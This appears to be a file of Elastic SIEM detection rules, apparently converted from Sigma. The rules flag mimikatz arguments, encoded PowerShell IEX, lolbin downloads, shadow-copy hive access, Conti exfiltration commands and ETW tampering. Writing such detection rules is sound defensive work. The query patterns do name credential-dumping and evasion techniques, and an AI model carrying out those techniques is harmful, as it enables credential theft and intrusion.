{"description": "Detection of unusual child processes by different system processes", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e90c9d8b-b5df-fb0d-5645-71b988379a5c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Abused Debug Privilege by Arbitrary Parent Processes", "query": "((process.parent.executable:(*\\\\winlogon.exe OR *\\\\services.exe OR *\\\\lsass.exe OR *\\\\csrss.exe OR *\\\\smss.exe OR *\\\\wininit.exe OR *\\\\spoolsv.exe OR *\\\\searchindexer.exe) AND process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\cmd.exe) AND user.name:(*AUTHORI* OR *AUTORI*)) AND (NOT (process.command_line:*\\ route\\ * AND process.command_line:*\\ ADD\\ *)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Semanur Guneysu @semanurtg", "oscd.community"], "license": ""}
{"description": "Detection use of the command \"split\" to split files into parts and possible transfer.", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "597b59a7-6c7e-2887-6168-50d088d9ca84", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Split A File Into Pieces", "query": "(type:\"SYSCALL\" AND comm:\"split\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1030"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1030", "name": "Data Transfer Size Limits", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Igor Fits", "oscd.community"], "license": ""}
{"description": "Detection use of the command \"split\" to split files into parts and possible transfer.", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "597b59a7-6c7e-2887-6168-50d088d9ca84", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Split A File Into Pieces", "query": "process.executable:*\\/split", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1030"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1030", "name": "Data Transfer Size Limits", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Igor Fits", "Mikhail Larin", "oscd.community"], "license": ""}
{"description": "Detection well-known mimikatz command line arguments", "enabled": false, "false_positives": ["Legitimate Administrator using tool for password recovery"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2eec101f-8d57-eb89-fe3c-118183f6db6f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Mimikatz Command Line", "query": "(((process.command_line.text:(*DumpCreds* OR *invoke\\-mimikatz*) OR (process.command_line.text:(*rpc* OR *token* OR *crypto* OR *dpapi* OR *sekurlsa* OR *kerberos* OR *lsadump* OR *privilege* OR *process* OR *vault*) AND process.command_line.text:*\\:\\:*)) OR (process.command_line.text:(*aadcookie* OR *detours* OR *memssp* OR *mflt* OR *ncroutemon* OR *ngcsign* OR *printnightmare* OR *skeleton* OR *preshutdown* OR *mstsc* OR *multirdp*) AND process.command_line.text:*\\:\\:*)) AND (NOT ((process.command_line.text:*function\\ Convert\\-GuidToCompressedGuid*) OR (process.parent.executable.text:*\\\\AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\Code.exe AND process.command_line.text:*\\/d\\ \\/s\\ \\/c\\ * AND process.command_line.text:*checkfilenameiocs\\ \\-\\-ioc\\-path\\ *))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003", "T1003", "T1003", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "oscd.community", "David ANDRE (additional keywords)", "Tim Shelton"], "license": ""}
{"description": "Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).", "enabled": false, "false_positives": ["Firewall rules being modified or deleted may be performed by a system administrator. Verify that the firewall configuration change was expected.", "Exceptions can be added to this rule to filter expected behavior."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "87cc4a2a-fcca-adc7-c870-3433f2962783", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud Firewall Modified or Deleted", "query": "gcp.audit.method_name:(v*.Compute.Firewalls.Delete OR v*.Compute.Firewalls.Patch OR v*.Compute.Firewalls.Update OR v*.Compute.Firewalls.Insert)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript", "author": ["omkar72", "oscd.community"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ff521eac-347a-8ce8-431f-782aab240c2f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CLR DLL Loaded Via Scripting Applications", "query": "(process.executable.text:(*\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\mshta.exe OR *\\\\cmstp.exe OR *\\\\msxsl.exe) AND dll.path:(*\\\\clr.dll OR *\\\\mscoree.dll OR *\\\\mscorlib.dll))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects \"regsvr32.exe\" spawning \"explorer.exe\", which is very uncommon.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "932c254a-fd96-7a47-3c6e-1d93140d1401", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Regsvr32 Spawning Explorer", "query": "(process.parent.executable.text:*\\\\regsvr32.exe AND process.executable.text:*\\\\explorer.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["elhoim"], "license": ""}
{"description": "Detects a \"Get-Process\" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1d01363e-7cbd-54b8-1d92-c45f67e6d1ef", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Get-Process LSASS", "query": "process.command_line.text:(*Get\\-Process\\ lsas* OR *ps\\ lsas* OR *gps\\ lsas*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a base64 encoded FromBase64String keyword in a process command line", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3243b8f3-749f-605a-9c62-b5d267e6ebdc", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Encoded FromBase64String", "query": "(process.command_line:(*OjpGcm9tQmFzZTY0U3RyaW5n* OR *o6RnJvbUJhc2U2NFN0cmluZ* OR *6OkZyb21CYXNlNjRTdHJpbm*) OR process.command_line:(*OgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcA* OR *oAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnA* OR *6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZw*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1059", "T1140"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a base64 encoded IEX command string in a process command line", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6599dff4-9466-effb-773f-627c1360c087", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Encoded IEX", "query": "(process.command_line:(*SUVYIChb* OR *lFWCAoW* OR *JRVggKF* OR *aWV4IChb* OR *lleCAoW* OR *pZXggKF* OR *aWV4IChOZX* OR *lleCAoTmV3* OR *pZXggKE5ld* OR *SUVYIChOZX* OR *lFWCAoTmV3* OR *JRVggKE5ld*) OR process.command_line:(*SQBFAFgAIAAoAFsA* OR *kARQBYACAAKABbA* OR *JAEUAWAAgACgAWw* OR *aQBlAHgAIAAoAFsA* OR *kAZQB4ACAAKABbA* OR *pAGUAeAAgACgAWw* OR *aQBlAHgAIAAoAE4AZQB3A* OR *kAZQB4ACAAKABOAGUAdw* OR *pAGUAeAAgACgATgBlAHcA* OR *SQBFAFgAIAAoAE4AZQB3A* OR *kARQBYACAAKABOAGUAdw* OR *JAEUAWAAgACgATgBlAHcA*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a certain command line flag combination used by devinit.exe lolbin to download arbitrary MSI packages on a Windows system", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "35b49e23-dffa-34fd-020b-78114f605c43", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DevInit Lolbin Download", "query": "(process.command_line:*\\ \\-t\\ msi\\-install\\ * AND process.command_line:*\\ \\-i\\ http*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a certain command line flag combination used by Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary", "enabled": false, "false_positives": ["Other tools with the same command line flag combination", "Legitimate uses as part of Visual Studio development"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f198be49-40b9-e903-7be0-06836e0be1d3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "NodejsTools PressAnyKey Lolbin", "query": "((process.command_line:*Microsoft.NodejsTools.PressAnyKey.exe\\ normal\\ * OR (process.command_line:*.exe\\ normal\\ * AND process.command_line:*.exe)) AND (NOT ((process.executable:*\\\\Microsoft\\\\NodeJsTools\\\\NodeJsTools*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "47bf08fd-9eda-5059-1f49-f2fea52e74ca", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MpiExec Lolbin", "query": "((process.executable:*\\\\mpiexec.exe OR winlog.event_data.Imphash:\"d8b52ef6aaa3a81501bdfff9dbb96217\" OR winlog.event_data.Hashes:*IMPHASH\\=d8b52ef6aaa3a81501bdfff9dbb96217*) AND process.command_line:(*\\ \\/n\\ 1\\ * OR *\\ \\-n\\ 1\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a certain command line flag combination used by regsvr32 when used to download and register a DLL from a remote address which uses HTTP (not HTTPS) and a IP address and not FQDN", "author": ["Florian Roth"], "enabled": false, "false_positives": ["FQDNs that start with a number"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3312c582-cfe1-bdce-3902-86fd9d2b0e99", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Regsvr32 HTTP IP Pattern", "query": "(process.command_line.text:*\\ \\/s* AND process.command_line.text:*\\ \\/u* AND process.command_line.text:(*\\ \\/i\\:http\\:\\/\\/1* OR *\\ \\/i\\:http\\:\\/\\/2* OR *\\ \\/i\\:http\\:\\/\\/3* OR *\\ \\/i\\:http\\:\\/\\/4* OR *\\ \\/i\\:http\\:\\/\\/5* OR *\\ \\/i\\:http\\:\\/\\/6* OR *\\ \\/i\\:http\\:\\/\\/7* OR *\\ \\/i\\:http\\:\\/\\/8* OR *\\ \\/i\\:http\\:\\/\\/9* OR *\\ \\/i\\:https\\:\\/\\/1* OR *\\ \\/i\\:https\\:\\/\\/2* OR *\\ \\/i\\:https\\:\\/\\/3* OR *\\ \\/i\\:https\\:\\/\\/4* OR *\\ \\/i\\:https\\:\\/\\/5* OR *\\ \\/i\\:https\\:\\/\\/6* OR *\\ \\/i\\:https\\:\\/\\/7* OR *\\ \\/i\\:https\\:\\/\\/8* OR *\\ \\/i\\:https\\:\\/\\/9*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a change in profile.ps1 of the Powershell profile", "enabled": false, "false_positives": ["System administrator create Powershell profile manually"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "181fdfc5-c0d0-2cb7-bcb7-f41729a5ed8e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell Profile.ps1 Modification", "query": "(file.path:*\\\\profile.ps1* AND (file.path:*\\\\My\\ Documents\\\\PowerShell\\\\* OR file.path:*C\\:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["HieuTT35"], "license": ""}
{"description": "Detects a code page switch in command line or batch scripts to a rare language", "enabled": false, "false_positives": ["Administrative activity (adjust code pages according to your organisation's region)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7fec3c84-cce3-3d04-e3f5-57016e4b26d8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Code Page Switch", "query": "(process.executable:*\\\\chcp.com AND process.command_line:(*\\ 936 OR *\\ 1258))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from \"svchost\"", "enabled": false, "false_positives": ["Unknown how many legitimate software products use that method"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "44d297a8-4aff-b8b9-92c2-71008e9dffd1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Explorer Process Tree Break", "query": "(process.command_line.text:*\\/factory,\\{75dff2b7\\-6936\\-4c06\\-a8bb\\-676a7b00b24b\\}* OR (process.command_line.text:*explorer.exe* AND process.command_line.text:*\\ \\/root,*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Nasreddine Bencherchali", "@gott_cyber"], "license": ""}
{"description": "Detects a command that accesses password storing registry hives via volume shadow backups", "enabled": false, "false_positives": ["Some rare backup scenarios"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "92284a26-9864-d138-8804-9148dfdaff7d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sensitive Registry Access via Volume Shadow Copy", "query": "(process.command_line.text:*\\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy* AND process.command_line.text:(*\\\\NTDS.dit* OR *\\\\SYSTEM* OR *\\\\SECURITY* OR *C\\:\\\\tmp\\\\log*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Max Altgelt", "Tobias Michalski"], "license": ""}
{"description": "Detects a command that clears or disables any ETW trace log which could indicate a logging evasion.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d4db900d-f828-fe4d-9618-e3d36e947052", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable of ETW Trace", "query": "((process.command_line:*cl* AND process.command_line:*\\/Trace*) OR (process.command_line:*clear\\-log* AND process.command_line:*\\/Trace*) OR (process.command_line:*sl* AND process.command_line:*\\/e\\:false*) OR (process.command_line:*set\\-log* AND process.command_line:*\\/e\\:false*) OR (process.command_line:*logman* AND process.command_line:*update* AND process.command_line:*trace* AND process.command_line:*\\-\\-p* AND process.command_line:*\\-ets*) OR process.command_line:*Remove\\-EtwTraceProvider* OR (process.command_line:*Set\\-EtwTraceProvider* AND process.command_line:*0x11*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["@neu5ron", "Florian Roth", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects a command used by conti to exfiltrate NTDS", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c7063faa-363e-31b3-da5b-a7b437e8b1cb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Conti NTDS Exfiltration Command", "query": "(process.command_line.text:*7za.exe* AND process.command_line.text:*\\\\C$\\\\temp\\\\log.zip*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1560"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1560", "name": "Archive Collected Data", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Max Altgelt", "Tobias Michalski"], "license": ""}
{"description": "Detects a command used by conti to find volume shadow backups", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7800f3e5-79ad-292b-4a65-ae2b1c717762", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Conti Volume Shadow Listing", "query": "(process.command_line:*vssadmin\\ list\\ shadows* AND process.command_line:*log.txt*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Max Altgelt", "Tobias Michalski"], "license": ""}
{"description": "Detects a copy execution that targets a shadow copy (sometimes used to copy registry hives that are in use)", "enabled": false, "false_positives": ["Some rare backup scenarios"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b5d3898d-711f-e5af-b921-897e8dffa350", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Copy from Volume Shadow Copy", "query": "process.command_line:*copy\\ \\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Max Altgelt", "Tobias Michalski"], "license": ""}
{"description": "Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.", "enabled": false, "false_positives": ["Serious issues with a configuration or plugin"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f27f7934-0fde-677d-123d-4ccde605c919", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Nginx Core Dump", "query": "\"exited\\ on\\ signal\\ 6\\ \$core\\ dumped\$\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1499"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1499", "name": "Endpoint Denial of Service", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a creation of systemd services which could be used by adversaries to execute malicious code.", "enabled": false, "false_positives": ["Admin work like legit service installs."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "bb20cd0b-31cb-35f2-1de8-e3f4c975353f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Systemd Service Creation", "query": "((type:\"PATH\" AND nametype:\"CREATE\") AND (name:(\\/usr\\/lib\\/systemd\\/system\\/* OR \\/etc\\/systemd\\/system\\/*) OR name:*\\/.config\\/systemd\\/user\\/*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server", "enabled": false, "false_positives": ["Scripts created by developers and admins", "Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "bcce5da6-a804-fc68-883b-fd10c414f9da", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Curl Usage on Linux", "query": "process.executable.text:*\\/curl", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects a curl process start on Windows, which indicates a file download from a remote location or a simple web request to a remote server", "enabled": false, "false_positives": ["Scripts created by developers and admins", "Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "67a3fdfc-4ef5-8094-5f34-174154f6fc0c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Curl Usage on Windows", "query": "(process.executable:*\\\\curl.exe OR Product:\"The\\ curl\\ executable\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a driver load from a temporary directory", "enabled": false, "false_positives": ["there is a relevant set of false positives depending on applications in the environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bc62e08b-63fa-13be-3bb8-d026ef9ac762", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Driver Load from Temp", "query": "file.path:*\\\\Temp\\\\*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
